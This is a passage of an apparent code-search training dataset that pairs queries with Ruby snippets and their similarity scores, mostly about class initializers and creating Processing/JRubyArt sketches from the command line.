ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 211:13: 'class'\n match( \"class\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 90 )\n\n end", "def initialize(file)\n @@word = Word.new # @@ is a class variable\n\t\tself.read_word_file(file) # Read in word list file\n\t\t@guess_count = 0 # @ is an instance variable, is only available for current instance of GameEngine object\n\tend", "def initialize\n\n\n\n end", "def initialize\n puts 'A, initialize'\n end", "def initialize()\n\t\t@@obj_count += 1\n\tend", "def initialize()\n\tend", "def initialize()\n\tend", "def instance_variables() end", "def initialize\n\t \t# loading or not loading should be the key here.\n end", "def start_class(class_node)\n @first_sentences = {}\n\n class_node.body.children.each do |child_node|\n break if PROTECTED_PRIVATE_CALLS.include? child_node\n remember_first_sentence(child_node) if :defn == child_node.node_type\n end\n @first_sentences.each do |first_sentence, defn_nodes|\n if defn_nodes.size > @customize_count\n add_error \"use before_filter for #{defn_nodes.collect(&:method_name).join(',')}\", class_node.file, defn_nodes.collect(&:line).join(',')\n end\n end\n end", "def initialize(*) \n end", "def init; end", "def initialize(sugar=10, flour=15)\n # a Class variable is defined using @@ symbools\n # Every instance of this class and the class itself will have access to this class varaible.\n # use it to share data between instances of a class.\n @@color = 'Brown'\n @sugar = sugar\n @flour = flour\n p \"created a ๐Ÿช\"\n p eat\n end", "def boot_classes!\n # very fiddly chicken 'n egg problem. Functions need to be in the right order, and in fact we have to define some \n # dummies, just for the other to compile\n obj = get_or_create_class :Object\n [:index_of , :_get_instance_variable , :_set_instance_variable].each do |f|\n obj.add_instance_method Builtin::Object.send(f , @context)\n end\n obj = get_or_create_class :Kernel\n # create main first, __init__ calls it\n @main = Builtin::Kernel.send(:main , @context)\n obj.add_instance_method @main\n underscore_init = Builtin::Kernel.send(:__init__ , @context) #store , so we don't have to resolve it below\n obj.add_instance_method underscore_init\n [:putstring,:exit,:__send].each do |f|\n obj.add_instance_method Builtin::Kernel.send(f , @context)\n end\n # and the @init block in turn _jumps_ to __init__\n # the point of which is that by the time main executes, all is \"normal\"\n @init = Virtual::Block.new(:_init_ , nil )\n @init.add_code(Register::RegisterMain.new(underscore_init))\n obj = get_or_create_class :Integer\n [:putint,:fibo].each do |f|\n obj.add_instance_method Builtin::Integer.send(f , @context)\n end\n obj = get_or_create_class :String\n [:get , :set , :puts].each do |f|\n obj.add_instance_method Builtin::String.send(f , @context)\n end\n obj = get_or_create_class :Array\n [:get , :set , :push].each do |f|\n obj.add_instance_method Builtin::Array.send(f , @context)\n end\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize\n\n\tend", "def initialize\n\n\tend", "def initialize\n # nothing here for now\n end", "def initialize\n puts \"MyCar subclass was just instantiated. Bitches!\"\n end", "def initialize\n end", "def initialize(name) #initial with name\n @name = name # set name instance varibale to the passing name\n @@all << self # keep track of all instances by putting each instance into the class variable all array\n end", "def class\n <<-CODE\n t1 = stack_pop();\n stack_push(object_class(state, t1));\n CODE\n end", "def initialize\n\nend", "def my_initialize\n\t\t@classes = 1\n\t\t@toys = 0\n\t\t@books = 0\t\t\n\t\tsrand seed.to_i\n\t\t@location = nil\n\t\tnext_spot()\n\t\t@random_number = 0\n\t\ttrue\n\tend", "def initialize(first_name, how_old)\n # @ vars are called _instance variables_\n @name = first_name\n @age = how_old\n # if self is in an instance method,\n # it refers to an instance!\n @@all << self\n end", "def class_body\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 4 )\n\n\n value = nil\n\n\n a = nil\n\n\n begin\n # at line 25:5: a= ( instance_variable_declaration | constructor_definition | function_definition | component_reference ) ( NL )?\n # at line 25:7: ( instance_variable_declaration | constructor_definition | function_definition | component_reference )\n alt_7 = 4\n case look_7 = @input.peek( 1 )\n when IDENT, TYPE_BOOL, TYPE_FLOAT, TYPE_INT, TYPE_STRING, TYPE_VOID then alt_7 = 1\n when INIT then alt_7 = 2\n when OPEN then alt_7 = 3\n when T__41 then alt_7 = 4\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 7, 0 )\n\n end\n case alt_7\n when 1\n # at line 25:9: instance_variable_declaration\n @state.following.push( TOKENS_FOLLOWING_instance_variable_declaration_IN_class_body_159 )\n a = instance_variable_declaration\n @state.following.pop\n\n when 2\n # at line 26:5: constructor_definition\n @state.following.push( TOKENS_FOLLOWING_constructor_definition_IN_class_body_165 )\n a = constructor_definition\n @state.following.pop\n\n when 3\n # at line 27:5: function_definition\n @state.following.push( TOKENS_FOLLOWING_function_definition_IN_class_body_171 )\n a = function_definition\n @state.following.pop\n\n when 4\n # at line 28:5: component_reference\n @state.following.push( TOKENS_FOLLOWING_component_reference_IN_class_body_177 )\n component_reference\n @state.following.pop\n\n end\n # at line 29:5: ( NL )?\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0 == NL )\n alt_8 = 1\n end\n case alt_8\n when 1\n # at line 29:5: NL\n match( NL, TOKENS_FOLLOWING_NL_IN_class_body_183 )\n\n end\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = a \n # <-- action\n end\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 4 )\n\n\n end\n\n return value\n end", "def initialize # :notnew:\n evaluate PRELUDE, PRELUDE_PATH, 1\n global.Johnson.runtime = self\n global['Ruby'] = Object\n evaluate CORE, CORE_PATH, 1\n end", "def construct\n end", "def initialize(word)\n @word = word\n end", "def initialize(word)\n @word = word\n end", "def initialize(word)\n @word = word\n end", "def initialize(word)\n @word = word\n end", "def initialize(word)\n @word = word\n end", "def initialize(word)\n @word = word\n end", "def initialize(word)\n @word = word\n end" ]
[ "0.69177485", "0.6588786", "0.6528795", "0.6454361", "0.63795733", "0.63178575", "0.62983644", "0.62662154", "0.62662154", "0.62662154", "0.62662154", "0.62662154", "0.6264493", "0.61727667", "0.6149869", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.6146028", "0.61433035", "0.6119347", "0.6091236", "0.6080653", "0.60625803", "0.60594827", "0.60383767", "0.6037163", "0.60289055", "0.6014245", "0.6005356", "0.6004953", "0.5992167", "0.5989849", "0.5989849", "0.5989849", "0.5989849", "0.5981746", "0.5978443", "0.5976453", "0.59746045", "0.5971155", "0.5969991", "0.5969991", "0.5969991", "0.5969991", "0.5962788", "0.5946898", "0.59295154", "0.59240156", "0.59240156", "0.59013516", "0.58839345", "0.58792967", "0.5872726", "0.5871761", "0.5864653", "0.5852919", "0.5845046", "0.5845046", "0.58379734", "0.583594", "0.5834233", "0.5817097", "0.58045125", "0.5802911", "0.58012754", "0.5798657", "0.5798657", "0.5798657", "0.5798657", "0.5798657", "0.5798657", "0.5798657", "0.5798657", "0.5796095", "0.5796095", "0.57900536", "0.57877296", "0.5777151", "0.5774832", "0.57646334", "0.5755405", "0.5750787", "0.57365704", "0.57358205", "0.5733973", "0.5732013", "0.5731774", "0.5731774", "0.5731774", "0.5731774", "0.5731774", "0.5731774", "0.5731774" ]
0.0
-1
Show the help/usage message for create.
def usage puts <<-USAGE Usage: k9 create <sketch_to_generate> <width> <height> <mode> mode can be P2D / P3D. Use --wrap for a sketch wrapped as a class Use --inner to generated a ruby version of 'java' Inner class Examples: k9 create app 800 600 k9 create app 800 600 p3d --wrap k9 create inner_class --inner USAGE end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_command_help\n puts \"The Ruby Farm - a simple command line animals app\"\n puts\n puts \"Command Usage:\"\n puts \" [create | c] <name=> <type=> creates a animal with name\"\n puts \"\"\n puts \"Examples:\"\n puts \" bin/run [create | c] name=my_animal_name\"\n puts \" bin/run [create | c] name=my_animal_name type=pig\"\n end", "def help\n puts 'add help'\n end", "def show_help\n puts HELP_MESSAGE\n end", "def show_help\n puts HELP_MESSAGE\n end", "def help\n\t\tself.usage(false)\n\t\texit EX_OK\n\tend", "def help_message()\n\t\treturn 'If you say (for example) \"help dance\", I\\'ll tell you what the dance command does.'\n\tend", "def help\n \n \"Here is a list of available commands:\n new - Create a new contact\n list - List all contacts\n show - Show a contact\n find - Find a contact\"\n\nend", "def help\n puts 'Here is a list of available commands:\n new - Create a new contact\n list - List all contacts\n show - Show a contact\n search - Search contacts'\n end", "def GenerateHelp(command_name, description, name_types, req_count)\r\n raise ArgumentError, \"Required count is larger than number of arguments\" unless name_types.count >= req_count\r\n\r\n message = command_name\r\n (0...name_types.count).each do |n|\r\n argname = name_types[n][0]\r\n argtype = name_types[n][1].name\r\n if n < req_count\r\n message += \" <\" + argname + \": \" + argtype + \">\"\r\n else\r\n message += \" [optional \" + argname + \": \" + argtype + \"]\"\r\n end\r\n end\r\n message += \"\\n\" + description\r\n return message\r\n end", "def help\n end", "def creation_title\n\t\t\"Create Character\"\n\tend", "def show_help()\n puts 'Usage: rails runner create_user.rb <email> <password> <name> <admin>'\n puts 'The <admin> argument admits the values \"true\" and \"false\" (without quotes)'\nend", "def help_help\t# :nodoc:\n\t\t\"#{@program_name} -cmd help\\n\\tShow this message\\n\"\n\tend", "def help\n end", "def help\n end", "def help\n end", "def help\n end", "def help\n end", "def help\n end", "def help\n end", "def help\r\n end", "def help\r\n end", "def create\n\t\t@name = \"I am the Create action\"\n\tend", "def show_help\n display banner\n display \"\"\n display short_help\n display \"\"\n end", "def help\n puts \"For multi-word arguments, use 'single quotes' only.\"\n puts \"To create an event: \\t\\t\\t\\tCREATE EVENT event_name.\"\n puts \"To add a speaker to the most recent event: \\tCREATE SPEAKER speaker_name.\"\n puts \"To add a speaker to a different event: \\t\\tCREATE SPEAKER event_name speaker_name.\"\n puts \"To add a talk to an event: \\t\\t\\tCREATE TALK event_name talk_name talk_start_time talk_end_time speaker_name.\\n\\n\"\nend", "def help\n \n end", "def help_text\n format_block = proc {|key, flag, doc, required, kind|\n sprintf(\" %-3s %-14s %-10s %s %s\", flag, key, kind, doc, required ? '(REQUIRED)' : '')\n }\n required, options = help_attributes.partition{ |a| a[3]}\n [\n self.doc,\n \"\\n\",\n self.usage ? [\"Usage: \" + self.usage, \"\\n\"] : [],\n required.size > 0 ? [\"Required args:\", required.map(&format_block), \"\\n\"] : [],\n options.size > 0 ? [\"Options:\", options.map(&format_block), \"\\n\"] : [],\n (self.examples && self.examples.size > 0) ? \"Examples:\\n\" + \" \" + [self.examples].flatten.join(\"\\n \") : [],\n ]\n end", "def help\n str = \"====[ #{@name} ]====\\nUsage: #{@name} \"\n @doc_args.each do |key, _value|\n str += \"[#{key.upcase}] \"\n end\n @doc_options.each do |key, _value|\n str += \"(--#{key.name}) \"\n end\n str = \"#{str.rstrip}\\nDescription: #{description}\\n#{help_options_args}\"\n str.rstrip\n end", "def gen_usage\n puts 'Usage:'\n puts ' poole [ACTION] [ARG]'\n puts ''\n puts 'Actions:'\n puts ' draft Create a new draft in _drafts with title SLUG'\n puts ' post Create a new timestamped post in _posts with title SLUG'\n puts ' publish Publish the draft with SLUG, timestamping appropriately'\n puts ' unpublish Move a post to _drafts, untimestamping appropriately'\n exit\n end", "def action_help\n log @help\n\n true\n end", "def options_create opts, colors\n\t\t\t\t#todo create, switch\n\t\t\t\topts.separator \" *\".colorize(colors[:cyan]) + \" create, switch\".colorize(colors[:yellow]) + \n\t\t\t\t\" creates a new list or switches to an existing one\".colorize(colors[:magenta])\n\t\t\t\topts.separator \" usage: \".colorize(colors[:cyan]) + USAGE[:create].colorize(colors[:red])\n\t\t\tend", "def creating( msg )\n @log.info \"creating #{msg}\"\n end", "def show_help\n puts HELP_INSTALL\n end", "def creating( msg )\n @log.info \"creating #{msg}\"\n end", "def banner\n \"Usage: #{$0} scaffold ModelName [field:type, field:type]\"\n end", "def create\n @help = Help.new(help_params)\n create_q(@help)\n end", "def create #:doc:\n end", "def help\n prettify(description)\n end", "def help_info\n \"\"\n end", "def print_help\n puts 'Here is a list of available commands:'\n puts '- new - Create a new contact'\n puts '- list - List all contacts'\n puts '- show - Show a contact'\n puts '- find - Find a contact'\n end", "def help\n puts \"Usage: #{@name} #{@generator_name} [options] [args]\"\n puts ''\n puts @generator_class.desc\n puts ''\n puts @options[:opts]\n puts ''\n exit\n end", "def banner\n \"Usage: #{$0} form_fu_scaffold [options] ModelName [field:type, field:type]\"\n end", "def create_banner\n option_separator\n option_separator 'Usage: main.rb <application>-<mode> [options]'\n end", "def banner\n \"Usage: #{$0} scaffold_resource ModelName [field:type, field:type]\"\n end", "def help_message\n make_response %(*Usage:*\n\n To get stats about all players:\n `foosey stats`\n\n To do anything else:\n http://foosey.futbol)\nend", "def banner\n \"Usage: #{$0} sexy_scaffold ModelName [field:type field:type]\"\n end", "def help(info, message = nil)\n return if info.nil?\n @alert.showsHelp = true\n @help = [info, message]\n end", "def help; end", "def help; end", "def help; end", "def banner\n \"Usage: #{$0} mwd_scaffold ModelName [field:type, field:type]\"\n end", "def help\n\t puts \"\"\n\t puts Rainbow(\":doc\").color(\"#D65200\")+\" Open documentation online\"\n\t puts Rainbow(\":open\").color(\"#D65200\")+\" Open file or folder\"\n\t puts Rainbow(\":new\").color(\"#D65200\")+\" Create file or directory\"\n\t puts Rainbow(\":destroy\").color(\"#D65200\")+\" Destroy Params file or current directory\"\n\t puts Rainbow(\":clean\").color(\"#D65200\")+\" Clean the trash\"\n\t puts Rainbow(\":calendar\").color(\"#D65200\")+\" Show current month\"\n\t puts Rainbow(\":today\").color(\"#D65200\")+\" Show date of day\"\n\t puts \"\"\n\t end", "def help\n command_object.display_usage(cli.command)\n exit\n end", "def banner\n \"Usage: #{$0} scaffold ModelName [ControllerName]\"\n end", "def banner\n \"Usage: #{$0} scaffold ModelName [ControllerName]\"\n end", "def help_text\n build_html do\n p <<-P1\n Not much needed here.\n P1\n end\n end", "def usage; <<-USAGE\n Creating projects:\n Create iPhone project:\n titanium create --platform=iphone --name=FooMobile --id=com.foo.mobile\n\n Create Android project\n titanium create --platform=android --name=FooMobile \\\\\n --id=com.foo.mobile --android=/opt/android-sdk\n\n Create iPhone and Android project\n titanium create --platform=iphone,android --name=FooMobile \\\\\n --id=com.foo.mobile --android=/opt/android-sdk\n\n Running projects:\n Run iPhone project:\n titanium run --platform=iphone\n\n Run iPhone project:\n titanium run --platform=android\n\n USAGE\n end", "def test_help_message\n Repository.create()\n #Repository.help()\n end", "def banner\n \"Usage: #{$0} ya_scaffold ModelName [field:type field:type]\"\n end", "def help\n h = []\n h << \"Usage: forge [COMMAND] [OPTIONS ...]\"\n h << \"\"\n h << \"COMMANDS:\"\n h << \" touch login and logout to test connection\"\n h << \" release release package(s)\"\n h << \" announce make an announcement\"\n h << \" publish publish website\"\n h << \"\"\n h << \"Add --help after command to learn more about each.\"\n puts h.join(\"\\n\")\n end", "def help #:nodoc:\n Writer.help( { :banner => @@banner, :header => @@header,\n :options => @@options, :footer => @@footer },\n output_to, exit_on_help? )\n end", "def banner\n \"Usage: #{$0} admin_scaffold ModelName [field:type, field:type]\"\n end", "def banner\n \"Usage: #{$0} asf_scaffold ModelName RecordType [ControllerName] [action, ...]\" \n end", "def usage\n str = @appname + \"\\n\\n\"\n unless @description.empty?\n str += \"DESCRIPTION\\n\"\n str += @description.join + \"\\n\"\n end\n unless @examples.empty?\n str += \"EXAMPLES\\n\"\n str += @examples.join + \"\\n\"\n end\n str += \"OPTIONS\"\n str += @parser.to_s.rstrip + \"\\n\"\n str\n end", "def banner\n \"Usage: #{$0} custom_scaffold ModelName [field:type, field:type]\"\n end", "def help\n puts \"To add a task, type 'add task'.\"\n puts \"To update a task, type 'update'.\"\n puts \"To delete a task, type 'complete'.\"\n puts \"To view the To Do List, type 'view'.\"\n puts \"To quit, type 'done'.\"\nend", "def format(command)\n command.help\n end", "def short_help\n execute_string(\"-help\")\n end", "def command_help\n display_possible_actions\n end", "def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end", "def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end", "def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end", "def help\n @t.say(\"The available commands are: BUY, SELL, RECENT, BALANCE\")\nend", "def create\n welcome_message\n super\n end", "def help\n\nend", "def show_help(*args)\n args_def.show_help(*args)\n end", "def help\r\n\tputs \"-to add new student: add student\"\r\n\tputs \"-to display all students: display students\"\r\n\tputs \"-to display all subjects: display subjects\"\r\n\tputs \"-to update a grade: update grade\"\r\n\tputs \"-to display grades of a student: check grade\"\r\n\tputs \"-to quit: done, exit\"\r\nend", "def short_help(preamble, command_spec)\n return \" #{preamble} #{command_spec[:usage]}\", command_spec[:description]\n end", "def banner\n \"Usage: #{$0} salva_scaffold ModelName [ControllerName]\"\n end", "def banner\n \"Usage: #{$0} ubiquo_scaffold ModelName [field:type, field:type]\"\n end", "def help\n base = [\"Usage: houst [action] [optional parameter]\"]\n\n @commands.each do |command|\n base << \"\\t#{command[:name]}: \\t#{command[:description]}\"\n end\n\n base << \"\\nAdditional help can be obtained by using\\n\\thoust help [command]\\n\"\n\n base.join \"\\n\"\n end", "def help; @form.help_manager.display_help; end", "def get_help\n [self.class::DESCRIPTION, self.class::USAGE]\n end", "def help\n help_str = super()\n help_str << \"\\n\\nCommands:\\n\"\n COMMANDS.map do |cmd, cmd_params, desc|\n cmd_template = \" %-49s\" % [base_script_name, cmd, cmd_params].join(\" \")\n cmd_template += \" :: \" + desc if desc\n help_str << cmd_template+\"\\n\"\n end\n help_str\n end", "def show_help\n\tputs \"These are the following commands that this application accepts:\"\n\tputs \"\\t 'add' (child name) (toy name) - gives a child a new toy\"\n\tputs \"\\t 'remove' (toy name) (child name) - takes away the child's toy\"\n\tputs \"\\t 'ls' - lists all children and the toys they are receiving\"\n\tputs \"\\t 'ls' (child name) - lists all the toys that one child is receiving\"\n\tputs \"\\t 'delivered' (child name) - marks that the toys have been delivered to the child\"\n\tputs \"\\t 'help' - shows all of the available commands that this application accepts\"\n\n\nend", "def help\n \"Valid Inputs:\\n\\tAdd Baller\\n\\t-a <name>\\n\" \\\n \"\\tUpdate Name\\n\" \\\n \"\\t-un <name>\\n\" \\\n \"\\tRemove Baller\\n\" \\\n \"\\t-r\\n\" \\\n \"\\tList all Ballers\\n\" \\\n \"\\t-l\\n\" \\\n \"\\tBall Request\\n\" \\\n \"\\t-b <location> <time>\\n\" \\\n \"\\tUpdate Ball Request\\n\" \\\n \"\\t-ub <location> <time>\\n\" \\\n \"\\tRemove Ball Request\\n\" \\\n \"\\t-rb\\n\" \\\n \"\\tList Ball Events\\n\" \\\n \"\\t-lb\\n\" \\\n \"\\tList confirmed Ballers\\n\" \\\n \"\\t-c\\n\"\nend", "def dump_help extra_msg=nil\n $stderr.puts help\n $stderr.puts \"\\n\\n\"+extra_msg unless extra_msg.blank?\n $stderr.puts ''\n end", "def cli_help\n self.class.help\n end", "def help\n [['help', \"this message\"]]\n end", "def get_help_info\n 'See the documentation here - https://github.com/blockfrost/blockfrost-ruby'\n end", "def description()\r\n #out puts what the command is doing and the path it is taking to do it\r\n puts \"Creating a Directory: #{@DirectoryPath}\"\r\n end", "def help\n return PongBot::Messages.help_command_message\n end", "def add_create(kind, template)\n id = \"#{kind}.create\"\n transitions = {\n save: \"#{kind}.view\",\n cancel: \"#{kind}.list\",\n }\n add_display(Create.new(kind, id, template, transitions))\n end", "def usage_presentation\n \" #{command.syntax}\"\n end", "def help\n @out.puts <<-MSG\n\n Usage:\n docbones -h/--help\n docbones -v/--version\n docbones command [options] [arguments]\n\n Commands:\n docbones create create a new project from a skeleton\n docbones freeze create a new skeleton in ~/.mrdocbones/\n docbones unfreeze remove a skeleton from ~/.mrdocbones/\n docbones info show information about available skeletons\n\n Further Help:\n Each command has a '--help' option that will provide detailed\n information for that command.\n\n http://www.ossxp.com\n\n MSG\n nil\n end", "def help(msg)\n @console.info(msg.cyan)\n end", "def need_help \n end", "def cmd_help(*args)\n\t\tprint(shell.help_to_s)\n\tend", "def usage\n\t\t$stderr.printf \"usage: %s [ options ]\\n\",$0\n\t\t$stderr.printf \"\\n%s\\n\",$help\n\t\texit 0\n\tend", "def help(show_usage = true)\n help = ''\n\n if show_usage\n help << \" #{name}\" if name != :__default\n\n @params.values.uniq.sort_by {|a| a.name.to_s }.each do |param|\n help << ' ['\n ([param.name] + param.aliases).each_with_index do |name, index|\n name = name.to_s\n help << '|' if index > 0\n help << '-' if name.size > 1\n help << \"-#{name}\"\n end\n help << ' ...' if param.is_a?(Option)\n help << ']'\n end\n end\n\n help << \"\\n\\n#{description}\" unless description.nil?\n\n help_flags = {}\n help_options = {}\n params.each_value do |param|\n if param.is_a? Flag\n help_flags[param.name.to_s] = param\n else\n help_options[param.name.to_s] = param\n end\n end\n\n param_name = lambda { |name| \"#{name.size > 1 ? '-' : ' '}-#{name}\" }\n unless help_flags.empty? && help_options.empty?\n max_param_length = (help_flags.keys + help_options.keys).\n max_by { |a| a.size }.size + 2\n end\n\n unless help_flags.empty?\n help << \"\\n\\nFlags:\"\n help_flags.sort_by { |name, param| name }.each do |name, param|\n help << \"\\n #{param_name.call(name).ljust(max_param_length)}\"\n help << \" #{param.description}\" unless param.description.nil?\n end\n end\n\n unless help_options.empty?\n help << \"\\n\\nOptions:\\n\"\n help_options.sort_by { |name, param| name }.each do |name, param|\n help << \" #{param_name.call(name).ljust(max_param_length)} ...\"\n help << \" #{param.description}\" unless param.description.nil?\n help << \"\\n\"\n end\n end\n\n help\n end", "def new\n\t\t\"let's make something new.\"\n\tend" ]
[ "0.72730035", "0.7071494", "0.6884468", "0.6884468", "0.66499895", "0.66361403", "0.65828145", "0.657463", "0.65439194", "0.6534885", "0.6514648", "0.6481953", "0.647876", "0.6472638", "0.6472638", "0.6472638", "0.6472638", "0.6472638", "0.6472638", "0.6472638", "0.64618206", "0.64618206", "0.64437026", "0.64047194", "0.63967884", "0.6391547", "0.6365178", "0.6340941", "0.63394266", "0.63322896", "0.6330981", "0.631811", "0.631231", "0.6305394", "0.62921906", "0.62628484", "0.62617075", "0.624274", "0.6237215", "0.62343067", "0.6200656", "0.61886764", "0.61774266", "0.61764824", "0.6174756", "0.617154", "0.6169117", "0.6164363", "0.6164363", "0.6164363", "0.615091", "0.61499846", "0.61448354", "0.6141932", "0.6141932", "0.61314833", "0.6128662", "0.6125401", "0.61082566", "0.60822755", "0.60743576", "0.6072012", "0.6060113", "0.6055083", "0.6047889", "0.6039523", "0.603931", "0.6029417", "0.60273516", "0.6024822", "0.6024822", "0.6024822", "0.60147184", "0.59992445", "0.5995214", "0.5990061", "0.5987026", "0.59859157", "0.59760857", "0.5957633", "0.5946883", "0.59388137", "0.5936778", "0.5936655", "0.5933469", "0.5932634", "0.5931287", "0.5926137", "0.59212655", "0.59197813", "0.5919518", "0.5913139", "0.59131235", "0.59122664", "0.59106195", "0.5906702", "0.5906622", "0.58954495", "0.588496", "0.5884285", "0.5875416" ]
0.0
-1
Create a class wrapped sketch, given a path.
def create!(path, args) return usage if /\?/ =~ path || /--help/ =~ path main_file = File.basename(path, '.rb') # allow uneeded extension input # Check to make sure that the main file doesn't exist already already_exist(path) @name = StringExtra.new(main_file).camelize writer = SketchWriter.new(main_file) @title = StringExtra.new(main_file).titleize @width, @height = args[0], args[1] @mode = args[2].upcase unless args[2].nil? template = @mode.nil? ? class_template : class_template_mode writer.save(template) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create(sketch, args)\n require_relative '../jruby_art/creators/creator'\n return Processing::Inner.new.create!(sketch, args) if @options.inner\n return Processing::ClassSketch.new.create!(sketch, args) if @options.wrap\n return Processing::EmacsSketch.new.create!(sketch, args) if @options.emacs\n Processing::BasicSketch.new.create!(sketch, args)\n end", "def create!(path, _args_)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = main_file.camelize\n writer = SketchWriter.new(main_file)\n template = inner_class_template\n writer.save(template)\n end", "def sparkCreate(className, path)\n delete(path)\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend", "def create_sketch\n # Process header separately since it must be first.\n template_list = Array.new\n header = Component.find_by_name_and_category(\"header\", \"general\")\n template_list.push(return_segments(header))\n\n # Config keys are the top-level JSON hashes. We use those as categories\n # for gathering components\n config.keys.each do |c|\n template_list.push(gather_components(c))\n end\n\n footer = Component.find_by_name_and_category(\"footer\", \"general\")\n template_list.push(return_segments(footer))\n template_list.flatten!\n\n global = template_list.map { |g| g[:global] }.join(\"\")\n setup = template_list.map { |g| g[:setup] }.join(\"\")\n loop = template_list.map { |g| g[:loop] }.join(\"\")\n sketch = [global, setup, loop].join(\"\\n\")\n \n # Write sketch file\n File.open get_sketch_file, \"w\" do |file|\n file << sketch\n end\n\n # Write sketch configuration\n configfile = get_src_dir + \"config.json\"\n File.open configfile, \"w\" do |file|\n file << self.as_json(:only => Component.where(:category => \"general\"))\n file << self.config\n end\n end", "def sparkGetOrCreate(className, path)\n obj = get(path)\n\n if (obj != nil)\n return obj\n end\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend", "def initialize(path = nil)\n self.path = path || generate_path\n \n FileUtils.mkdir_p(self.path)\n end", "def set_sketch_path(path=nil)\n field = self.java_class.declared_field('sketchPath')\n local = File.dirname(SKETCH_PATH)\n default = $__windows_app_mode__ ? \"#{local}/lib\" : local\n field.set_value(Java.ruby_to_java(self), path || default)\n end", "def create_part_of_path(path)\n begin\n @zk.create(path, \"\".to_java_bytes, default_acl, default_mode)\n rescue\n puts \"#{$!}\"\n end\n end", "def set_sketch_path(path=nil)\n field = @declared_fields['sketchPath']\n field.set_value(java_self, path || SKETCH_ROOT)\n end", "def new(path)\n mkdir_p path\n full_path = File.expand_path path\n @name = File.basename(full_path).titleize\n self.destination_root = full_path\n write_keeps\n write_files\n bundle!\n end", "def inject_into_class(path, klass, *args, &block)\n config = args.last.is_a?(Hash) ? args.pop : {}\n config[:after] = /class #{klass}\\n|class #{klass} .*\\n/\n insert_into_file(path, *(args << config), &block)\n end", "def initialize(path)\n @path = path\n @disk = Yaml.new(path)\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path \n end", "def initialize(path)\n @path = File.expand_path(path)\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def create(path, options)\n trello_class = class_from_path(path)\n trello_class.save options do |data|\n data.client = self\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_from_path(path)\n return nil unless path =~ /manifests.+\\.pp$/\n\n (path.sub(project_root + '/', '')\n .sub(/\\.pp$/, '')\n .split('/') - %w(site manifests))\n .join('::')\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path); end", "def create!(path, args)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = StringExtra.new(main_file).camelize\n writer = SketchWriter.new(main_file)\n @title = StringExtra.new(main_file).titleize\n @width, @height = args[0], args[1]\n @mode = args[2].upcase unless args[2].nil?\n template = @mode.nil? ? emacs_template : emacs_template_mode\n writer.save(template)\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def from_path(path); end", "def initialize(path)\n\t\tself.path = path\n\t\tself.client = self.class.client\n\tend", "def create(path)\n log.debug \"synapse: creating ZK path: #{path}\"\n\n # recurse if the parent node does not exist\n create File.dirname(path) unless @zk.exists? File.dirname(path)\n @zk.create(path, ignore: :node_exists)\n end", "def fixture_appletclass( path, name, classname )\n\t\tapplet = stub( \"#{classname} instance (path)\" )\n\t\tappletclass = stub( \"#{classname} class\",\n\t\t\t:name => name,\n\t\t\t:normalized_name => classname,\n\t\t\t:new => applet\n\t\t )\n\n\t\tArrow::Applet.should_receive( :load ).with( path ).once.\n\t\t\tand_return([ appletclass ])\n\t\tFile.should_receive( :mtime ).with( path ).and_return( Time.now )\n\n\t\treturn applet, appletclass\n\tend", "def path_to_class(path, base_class=nil)\n class_name = path.classify\n klass = class_name.safe_constantize\n return klass if klass.present? && klass.kind_of?(Class)\n raise \"Class #{class_name.inspect} constant already exists as a #{klass.name} and is not a class.\" if klass.present?\n path_mod = class_module(path)\n class_mod_name = class_name.demodulize\n if base_class.present?\n klass = path_mod.const_set(class_mod_name, 